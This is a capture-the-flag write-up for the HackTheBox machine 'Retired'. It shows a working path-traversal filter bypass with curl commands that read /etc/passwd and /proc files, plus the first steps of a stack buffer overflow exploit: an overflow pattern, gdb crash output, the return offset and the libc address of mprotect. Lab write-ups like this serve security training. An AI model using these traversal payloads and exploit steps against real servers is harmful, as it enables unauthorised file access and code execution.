Retired starts out with a file read plus a directory traversal vulnerability. (There’s also an EAR vulnerability that I originally missed, but added in later). With that, I’ll get a copy of a binary that gets fed a file via an upload on the website. There’s a buffer overflow, which I can exploit via an uploaded file. I’ll use ROP to make the stack executable, and then run a reverse shell shellcode from it. With a shell, I’ll throw a symlink into a backup directory and get an SSH key from the user. To get root, I’ll abuse binfmt_misc. In Beyond Root, some loose ends that were annoying me.

Box Info

Name Retired Retired
Release Date 02 Apr 2022
Retire Date 13 Aug 2022
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for Retired
Radar Graph Radar chart for Retired
First Blood User 2 hours, 51 mins, 27 seconds jazzpizazz
First Blood Root 3 hours, 18 mins, 07 seconds jazzpizazz



nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2022-07-01 19:08 UTC
Nmap scan report for
Host is up (0.096s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 9.39 seconds
oxdf@hacky$ nmap -p 22,80 -sCV
Starting Nmap 7.80 ( ) at 2022-07-01 19:08 UTC
Nmap scan report for
Host is up (0.086s latency).

22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
80/tcp open  http    nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 10.10 seconds

Based on the OpenSSH version, the host is likely running Debian 11 bullseye.

Website - TCP 80


The site is for a software development company:

There is a contact form at the bottom of the page, but on filling it out and submitting, there’s a link to the template’s site about how to activate the form:


No traffic is sent to the site on submitting. This is likely nothing of interest.

Everything else on the site goes to somewhere on the site, so not much enumeration here.

Tech Stack

On visiting /, it redirects to /index.php?page=default.html:

HTTP/1.1 302 Found
Server: nginx
Date: Fri, 01 Jul 2022 19:12:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Location: /index.php?page=default.html
Content-Length: 0

This is a common PHP pattern to include a page passed via a parameter.

Visiting /default.html loads the same page, so it’s not clear what index.php is providing. In fact, looking at default.html directly and through index.php shows no difference:

oxdf@hacky$ diff <(curl -s <(curl -s

The site is built on PHP, and uses both PHP and HTML files.

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php,html since I know the site is PHP with HTML files:

oxdf@hacky$ feroxbuster -u -x php,html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 💲  Extensions            │ [php, html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🏁  Press [ENTER] to use the Scan Management Menu™
302      GET        0l        0w        0c => /index.php?page=default.html
301      GET        7l       11w      162c =>
301      GET        7l       11w      162c =>
301      GET        7l       11w      162c =>
301      GET        7l       11w      162c =>
302      GET        0l        0w        0c => /index.php?page=default.html
200      GET       72l      304w     4144c
301      GET        7l       11w      162c =>
301      GET        7l       11w      162c =>
200      GET      188l      824w    11414c
301      GET        7l       11w      162c =>
[####################] - 2m    720000/720000  0s      found:11      errors:0      
[####################] - 2m     90000/90000   541/s 
[####################] - 2m     90000/90000   542/s 
[####################] - 2m     90000/90000   542/s 
[####################] - 2m     90000/90000   542/s 
[####################] - 2m     90000/90000   542/s 
[####################] - 2m     90000/90000   542/s 
[####################] - 2m     90000/90000   543/s 
[####################] - 2m     90000/90000   542/s

beta.html is the only thing new here to look at.


beta.html (viewed directly or through index.php) is the page for the beta testing program for EmuEmu (one of the software mentioned on the main page).


It offers a file upload form, but anything I submit just returns an empty 200 response:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 01 Jul 2022 19:26:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 0

It does mention the name of the license application, which I’ll note:


Shell as www-data

File Read


Given the structure of the URL, I’ll try to read some other files. I can try to read outside of the current directory with page=../../../../../../../etc/passwd, but it fails and redirects to page=default.html. What about index.php itself? Visiting in Firefox returns what looks like an empty page. But looking at the source for that page reveals the PHP itself:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 01 Jul 2022 19:54:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 348

function sanitize_input($param) {
    $param1 = str_replace("../","",$param);
    $param2 = str_replace("./","",$param1);
    return $param2;

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
} else {
    header('Location: /index.php?page=default.html');


This is not a local file include vulnerability, but rather a file read vulnerability. This PHP is using readfile() to get the page, and the contents are put into the page after execution and thus not executed themselves (as opposed to include or require, which put the contents into the page and then execute them).

Read Plus Directory Traversal

With access to index.php, I can see why the attempt to read /etc/passwd failed. For $page to get set to something other than default.html, it has to return true from preg_match("/^[a-z]/", $page), which means that the first character in the value needs to be a lowercase character a-z (. did not match).

There’s also a sanatize_input function, which does a replace on ../ and ./. The replace is done once each, in that order. That means I can stack periods and slashes together in such a way that it returns what I want. For example:

php > $param = '.....///';
php > $param1 = str_replace("../","",$param);
php > $param2 = str_replace("./","",$param1);
php > echo $param2;
php > $param = '.....///.....///.....///';
php > $param1 = str_replace("../","",$param);
php > $param2 = str_replace("./","",$param1);
php > echo $param2;

I still need it to start with a letter. I found the css directory with feroxbuster, so I can use that, going into that directory, and then back out. With that bypass, I can read files all over the file system:

oxdf@hacky$ curl
_chrony:x:105:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin


With that curl command, I’ll make a quick Bash script to make enumeration easier:



It works:

oxdf@hacky$ ./ /etc/passwd

Alternative Read - EAR

I missed this when originally solving the box, but IppSec’s solution showed an execute after redirect (EAR) vulnerability in index.php. I’ve talked about EAR vulnerabilities before in Previse and Fingerprint.

The page redirect if the $page variable isn’t set or if $page doesn’t start with a character by setting the Location header:

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
} else {
    header('Location: /index.php?page=default.html');


After setting that header, the code should exit or return or die. Without that, it still sends a redirect, but with the body of the rest of the code, in this case, the readfile($page).

To demonstrate this, I’ll want to send a $page that will fail that regex check, like ../../../../../../etc/passwd. Because it fails the regex, it won’t even run through sanitize_input (which removes the ../).

Visiting in Firefox just redirects to Looking in Burp shows the first request returns a 302, and then the next request is to default.html:


Looking at the actual response from the first request, it is a 302 redirecting to index.php?page=default.html, but the body has /etc/passwd:


Enumerate Filesystem


The only other PHP file I’ve identified is activate_license.php, so I’ll read that with curl

if(isset($_FILES['licensefile'])) {
    $license      = file_get_contents($_FILES['licensefile']['tmp_name']);
    $license_size = $_FILES['licensefile']['size'];

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    if (!$socket) { echo "error socket_create()\n"; }

    if (!socket_connect($socket, '', 1337)) {
        echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";

    socket_write($socket, pack("N", $license_size));
    socket_write($socket, $license);


It’s taking the submitted file, and reading the contents and the size. It then creates a socket to TCP 1337 on localhost, and sends the size and then the contents, closing the socket afterwards.

Given that the response was empty, and not “error socket_create()”, that’s a good indication that this service is running and listening on 1337.


The page hinted that the name of the program that validated licenses was activate_license. If I suspect that it might be in the path somewhere, I can fuzz those paths via the LFI and see if I find anything. I’ll create a wordlist using my path:

oxdf@hacky$ echo $PATH | tr ':' '\n' > path

wfuzz quickly finds two paths that return non-zero responses:

oxdf@hacky$ wfuzz -u -w path 
* Wfuzz 2.4.5 - The Web Fuzzer                         *

Total requests: 11

ID           Response   Lines    Word     Chars       Payload

000000002:   200        0 L      0 W      0 Ch        "/snap/bin"
000000001:   200        0 L      0 W      0 Ch        "/home/oxdf/.local/bin"
000000003:   200        0 L      0 W      0 Ch        "/usr/local/bin"
000000006:   200        0 L      0 W      0 Ch        "/usr/local/games"
000000007:   200        0 L      0 W      0 Ch        "/usr/games"
000000008:   200        0 L      0 W      0 Ch        "/usr/share/games"
000000009:   200        0 L      0 W      0 Ch        "/usr/local/sbin"
000000010:   200        0 L      0 W      0 Ch        "/usr/sbin"
000000004:   200        53 L     462 W    22501 Ch    "/usr/bin"
000000011:   200        0 L      0 W      0 Ch        "/sbin"
000000005:   200        53 L     462 W    22501 Ch    "/bin"

Total time: 0.272308
Processed Requests: 11
Filtered Requests: 0
Requests/sec.: 40.39541

/bin is commonly a symlink to /usr/bin now. For example, my VM:

oxdf@hacky$ ls -ld /bin
lrwxrwxrwx 1 root root 7 Jan 25 15:17 /bin -> usr/bin

I’ll download the file:

oxdf@hacky$ ./ /usr/bin/activate_license
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

It doesn’t like printing binary data to the screen. Because my script is just adding the input to the end of the curl command, I can add the -o switch here:

oxdf@hacky$ ./ '/usr/bin/activate_license -o activate_license'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current  
                                 Dload  Upload   Total   Spent    Left  Speed
100 22536    0 22536    0     0  86015      0 --:--:-- --:--:-- --:--:-- 85688

The result is a 64-bit ELF executable:

oxdf@hacky$ file activate_license 
activate_license: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info, not stripped

Reverse activate_license


Opening the file in Ghidra, I’ll start at main. There’s a bunch of code the sets up a listening socket on a port read from the command line arguments. Eventually, there’s a while (true) loop:

  while( true ) {
    while( true ) {
      clientfd = accept(serverfd,(sockaddr *)&clientaddr,&clientaddrlen);
      if (clientfd != -1) break;
      fwrite("Error: accepting client\n",1,0x18,stderr);
    printf("[+] accepted client connection from %s:%d\n",clientaddr_s,(ulong)clientaddr.sin_port);
    _Var2 = fork();
    if (_Var2 == 0) break;
                    /* WARNING: Subroutine does not return */

This is actually fairly straight forward:


This function is also quite simple. There’s some setup, and then it reads four bytes from the socket and converts it to an integer in a variable I’ve named msglen:

void activate_license(int sockfd)

  int iVar1;
  ssize_t res;
  int *error_loc;
  char *error;
  sqlite3_stmt *stmt;
  sqlite3 *db;
  uint32_t msglen;
  char buffer [512];
  res = read(sockfd,&msglen,4);
  if (res == -1) {
    error_loc = __errno_location();
    error = strerror(*error_loc);
  msglen = ntohl(msglen);
  printf("[+] reading %d bytes\n",(ulong)msglen);

Next, it reads that many bytes from the socket into a variable I’ve named buffer:

  res = read(sockfd,buffer,(ulong)msglen);
  if (res == -1) {
    error_loc = __errno_location();
    error = strerror(*error_loc);

The rest is opening a SQLite database named license.sqlite, making sure a table named license exists, and then writing the data from buffer into that DB:

  iVar1 = sqlite3_open("license.sqlite",&db);
  if (iVar1 != 0) {
    error = (char *)sqlite3_errmsg(db);
  iVar1 = sqlite3_exec(db,
                       "CREATE TABLE IF NOT EXISTS license (   id INTEGER PRIMARY KEY AUTOINCREMENT,    license_key TEXT)"
  if (iVar1 != 0) {
    error = (char *)sqlite3_errmsg(db);
  iVar1 = sqlite3_prepare_v2(db,"INSERT INTO license (license_key) VALUES (?)",0xffffffff,&stmt,0);
  if (iVar1 != 0) {
    error = (char *)sqlite3_errmsg(db);
  iVar1 = sqlite3_bind_text(stmt,1,buffer,0x200,0);
  if (iVar1 != 0) {
    error = (char *)sqlite3_errmsg(db);
  iVar1 = sqlite3_step(stmt);
  if (iVar1 != 0x65) {
    error = (char *)sqlite3_errmsg(db);
  iVar1 = sqlite3_reset(stmt);
  if (iVar1 != 0) {
    error = (char *)sqlite3_errmsg(db);
  iVar1 = sqlite3_finalize(stmt);
  if (iVar1 != 0) {
    error = (char *)sqlite3_errmsg(db);
  iVar1 = sqlite3_close(db);
  if (iVar1 != 0) {
    error = (char *)sqlite3_errmsg(db);
  printf("[+] activated license: %s\n",buffer);

It’s done in a safe way using prepared statements, so it isn’t SQL injectable.

Buffer Overflow Fiesability


There is a vulnerability in the code above. The user provides the length for the data that will be read from the socket (up to what can be stored in that four-byte length, so over four GB), and store it into a buffer hardcoded to 512 bytes. That gives plenty of space for a simple buffer overflow.


Address space randomization is enabled (checked with the file read vulnerability):

oxdf@hacky$ ./ /proc/sys/kernel/randomize_va_space

2 indicates full randomization.

checksec shows that data execution prevention (DEP, or NX) is on, as is PIE and RELRO:

oxdf@hacky$ checksec activate_license
[*] '/media/sf_CTFs/hackthebox/retired-'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Not having to worry about stack canaries is nice, but because of DEP I won’t be able to execute from the stack, because of ASLR/PIE the addresses of basically everything will be randomized, and because of RELRO the GOT and PLT tables are protected.

Leak PID

Because of how this program handles connections, the main process will stay the same always listening, and it will fork another child to handle the connection. The addresses in memory of for the main process will be static. Further, because of how fork creates an exact copy of the running process, the child processes will have the same addresses as well.

This means that if I can leak the memory maps of activate_license, I can use that to make a ROP chain control execution and get a reverse shell. The only way I know to do that is from /proc/[pid]/, but I’ll need to know the PID of the activate_license process.

One way to approach this is to use wfuzz to find it. Instead of using -w to pass a wordlist, I’ll use -z range,a-b to pass numbers from a to b. I’ll read the cmdline files from /proc, fuzzing all possible process ids. --ss activate_license will show any results that contain that string:

oxdf@hacky$ wfuzz -u '' -z range,1-65535 --ss 'activate_license'
* Wfuzz 2.4.5 - The Web Fuzzer                         *

Total requests: 65535

ID           Response   Lines    Word     Chars       Payload

000000407:   200        0 L      1 W      31 Ch       "407"
Finishing pending requests... 

It finds process 407 (may be different on different boots), and I’ll kill it once it seems unlikely to find anything else.

The command line for PID 407 is what I am looking for (replacing nulls with spaces for readability):

oxdf@hacky$ ./ '/proc/407/cmdline -o- -s' | tr '\000' ' '
/usr/bin/activate_license 1337 

Alternatively, depending on the options used when the kernel was compiled (see Beyond Root for more), there may be a file in /proc named sched_debug. This file has debug information about the various CPUs, and includes a list of “runnable tasks” that includes activate_licens[e] and it’s PID (407):

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
 S activate_licens   407   2312253.695414        18   120         0.000000         4.064480         0.000000 0 0 /

Leak Addresses

With the PID, I’ll get the maps file:

oxdf@hacky$ ./ /proc/407/maps
555aa1164000-555aa1165000 r--p 00000000 08:01 2408                       /usr/bin/activate_license
555aa1165000-555aa1166000 r-xp 00001000 08:01 2408                       /usr/bin/activate_license
555aa1166000-555aa1167000 r--p 00002000 08:01 2408                       /usr/bin/activate_license
555aa1167000-555aa1168000 r--p 00002000 08:01 2408                       /usr/bin/activate_license
555aa1168000-555aa1169000 rw-p 00003000 08:01 2408                       /usr/bin/activate_license
555aa3078000-555aa3099000 rw-p 00000000 00:00 0                          [heap]
7f48887d6000-7f48887d8000 rw-p 00000000 00:00 0 
7f48887d8000-7f48887d9000 r--p 00000000 08:01 3635                       /usr/lib/x86_64-linux-gnu/
7f48887d9000-7f48887db000 r-xp 00001000 08:01 3635                       /usr/lib/x86_64-linux-gnu/
7f48887db000-7f48887dc000 r--p 00003000 08:01 3635                       /usr/lib/x86_64-linux-gnu/
7f48887dc000-7f48887dd000 r--p 00003000 08:01 3635                       /usr/lib/x86_64-linux-gnu/
7f48887dd000-7f48887de000 rw-p 00004000 08:01 3635                       /usr/lib/x86_64-linux-gnu/
7f48887de000-7f48887e5000 r--p 00000000 08:01 3645                       /usr/lib/x86_64-linux-gnu/
7f48887e5000-7f48887f5000 r-xp 00007000 08:01 3645                       /usr/lib/x86_64-linux-gnu/
7f48887f5000-7f48887fa000 r--p 00017000 08:01 3645                       /usr/lib/x86_64-linux-gnu/
7f48887fa000-7f48887fb000 r--p 0001b000 08:01 3645                       /usr/lib/x86_64-linux-gnu/
7f48887fb000-7f48887fc000 rw-p 0001c000 08:01 3645                       /usr/lib/x86_64-linux-gnu/
7f48887fc000-7f4888800000 rw-p 00000000 00:00 0 
7f4888800000-7f488880f000 r--p 00000000 08:01 3636                       /usr/lib/x86_64-linux-gnu/
7f488880f000-7f48888a9000 r-xp 0000f000 08:01 3636                       /usr/lib/x86_64-linux-gnu/
7f48888a9000-7f4888942000 r--p 000a9000 08:01 3636                       /usr/lib/x86_64-linux-gnu/
7f4888942000-7f4888943000 r--p 00141000 08:01 3636                       /usr/lib/x86_64-linux-gnu/
7f4888943000-7f4888944000 rw-p 00142000 08:01 3636                       /usr/lib/x86_64-linux-gnu/
7f4888944000-7f4888969000 r--p 00000000 08:01 3634                       /usr/lib/x86_64-linux-gnu/
7f4888969000-7f4888ab4000 r-xp 00025000 08:01 3634                       /usr/lib/x86_64-linux-gnu/
7f4888ab4000-7f4888afe000 r--p 00170000 08:01 3634                       /usr/lib/x86_64-linux-gnu/
7f4888afe000-7f4888aff000 ---p 001ba000 08:01 3634                       /usr/lib/x86_64-linux-gnu/
7f4888aff000-7f4888b02000 r--p 001ba000 08:01 3634                       /usr/lib/x86_64-linux-gnu/
7f4888b02000-7f4888b05000 rw-p 001bd000 08:01 3634                       /usr/lib/x86_64-linux-gnu/
7f4888b05000-7f4888b09000 rw-p 00000000 00:00 0 
7f4888b09000-7f4888b19000 r--p 00000000 08:01 5321                       /usr/lib/x86_64-linux-gnu/
7f4888b19000-7f4888c11000 r-xp 00010000 08:01 5321                       /usr/lib/x86_64-linux-gnu/
7f4888c11000-7f4888c45000 r--p 00108000 08:01 5321                       /usr/lib/x86_64-linux-gnu/
7f4888c45000-7f4888c49000 r--p 0013b000 08:01 5321                       /usr/lib/x86_64-linux-gnu/
7f4888c49000-7f4888c4c000 rw-p 0013f000 08:01 5321                       /usr/lib/x86_64-linux-gnu/
7f4888c4c000-7f4888c4e000 rw-p 00000000 00:00 0 
7f4888c53000-7f4888c54000 r--p 00000000 08:01 3630                       /usr/lib/x86_64-linux-gnu/
7f4888c54000-7f4888c74000 r-xp 00001000 08:01 3630                       /usr/lib/x86_64-linux-gnu/
7f4888c74000-7f4888c7c000 r--p 00021000 08:01 3630                       /usr/lib/x86_64-linux-gnu/
7f4888c7d000-7f4888c7e000 r--p 00029000 08:01 3630                       /usr/lib/x86_64-linux-gnu/
7f4888c7e000-7f4888c7f000 rw-p 0002a000 08:01 3630                       /usr/lib/x86_64-linux-gnu/
7f4888c7f000-7f4888c80000 rw-p 00000000 00:00 0 
7ffe99226000-7ffe99247000 rw-p 00000000 00:00 0                          [stack]
7ffe9932a000-7ffe9932e000 r--p 00000000 00:00 0                          [vvar]
7ffe9932e000-7ffe99330000 r-xp 00000000 00:00 0                          [vdso]

This provides the location in memory for each loaded library as well as the main program. It’ll also identify areas of memory that are writable or executable.

Generate Buffer Overflow


Because of all the protections in place, I’ll need to use return oriented programming (ROP). I’ll identify small bits of code that do things like pop one or two items from the stack into various registers, and then return to some system call I want to make.

A common tactic for this kind of attack is to copy stdin, stdout, and stderr into the socket, and replace the existing process with bash. Unfortunately, because I’ll get feeding my exploit through the PHP page, and the PHP page just writes data into the socket and then exits, there’s no way to get data back. I’ll have to execute something that creates a reverse shell on it’s own.

I’ll take the approach of using ROP to call mprotect on the stack to make it executable, and then using a JMP RSP gadget to jump to shellcode that follows on the stack. An alternative approach would be to get a full reverse shell string into a known memory address and call system on it.

At this point I need:

  • Offset from start of input to return address;
  • Address for mprotect;
  • Gadgets to get parameters into RDI, RSI, and RDX to make the mprotect call;
  • Gedget for JMP RSP;
  • Shellcode to return a reverse shell.

Get Return Offset

I’ll start the server locally:

oxdf@hacky$ ./activate_license 9999
[+] starting server listening on port 9999
[+] listening ...

And connect to it with gdb, letting pidof find the PID for me:

oxdf@hacky$ sudo gdb -q -p $(pidof activate_license)
Attaching to process 1109676                                                                                                           
Reading symbols from /media/sf_CTFs/hackthebox/retired-

I’ll make sure to set the follow-fork-mode to child, and then continue:

gdb-peda$ set follow-fork-mode child
gdb-peda$ c

I’ll create a pattern that’s 1024 long:

oxdf@hacky$ pattern_create.rb -l 1024

I’ll send the length followed by the buffer into the listening service:

oxdf@hacky$ echo -e "\x00\x04\x00\x00Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B" | nc 9999

Note the \x00\x04\x00\x00 at the start. That’s the value 0x400, or 1024.

gdb crashes:

Thread 2.1 "activate_licens" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f32aae750c0 (LWP 1111329)]
RAX: 0x41e 
RBX: 0x5650ffba47c0 (<__libc_csu_init>: push   r15)
RCX: 0x0 
RDX: 0x7f32aae750c0 (0x00007f32aae750c0)
RSI: 0x0 
RDI: 0x7ffef9233190 --> 0x7f32ab051060 (<__funlockfile>:        endbr64)
RBP: 0x4132724131724130 ('0Ar1Ar2A')
RSP: 0x7ffef9233928 ("r3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9"...)
RIP: 0x5650ffba45c0 (<activate_license+643>:    ret)
R8 : 0x0 
R9 : 0x41e 
R10: 0x5650ffba50e6 --> 0x666963657073000a ('\n')
R11: 0x246 
R12: 0x5650ffba4220 (<_start>:  xor    ebp,ebp)
R13: 0x7ffef9233a80 ("Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0\n\376R#\371\376\177")
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
   0x5650ffba45b9 <activate_license+636>:       call   0x5650ffba40b0 <printf@plt>
   0x5650ffba45be <activate_license+641>:       nop
   0x5650ffba45bf <activate_license+642>:       leave  
=> 0x5650ffba45c0 <activate_license+643>:       ret    
   0x5650ffba45c1 <main>:       push   rbp
   0x5650ffba45c2 <main+1>:     mov    rbp,rsp
   0x5650ffba45c5 <main+4>:     sub    rsp,0x60
   0x5650ffba45c9 <main+8>:     mov    DWORD PTR [rbp-0x54],edi
0000| 0x7ffef9233928 ("r3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9"...)
0008| 0x7ffef9233930 ("Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay"...)
0016| 0x7ffef9233938 ("8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4A"...)
0024| 0x7ffef9233940 ("s1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7"...)
0032| 0x7ffef9233948 ("As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az"...)
0040| 0x7ffef9233950 ("6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2A"...)
0048| 0x7ffef9233958 ("s9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5"...)
0056| 0x7ffef9233960 ("At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az"...)
Legend: code, data, rodata, value
Stopped reason: SIGSEGV

RIP shows the crash at the ret instruction. The SIGSEGV happens because it’s trying to move an illegal address from the top of the stack into RIP. Looking at RSP, the value that would have been loaded is r3Ar4Ar5A. pattern_query takes four characters/bytes to identify the offset:

oxdf@hacky$ pattern_offset.rb -q r3Ar
[*] Exact match at offset 520

If I take into account the length word, that’s 524 bytes to the return address.

mprotect Address

I’ll use my script to download a copy of the LIBC library from Retired (the full path is in the maps file).

readelf will give the offset into libc that mprotect:

oxdf@hacky$ readelf -s libs/ | grep ' mprotect'
  1225: 00000000000f8c20    33 FUNC    WEAK   DEFAULT   14 mprotect@@GLIBC_2.2.5

Based on the maps file, libc is loaded at 0x7f4888944000.

mprotect Gadgets

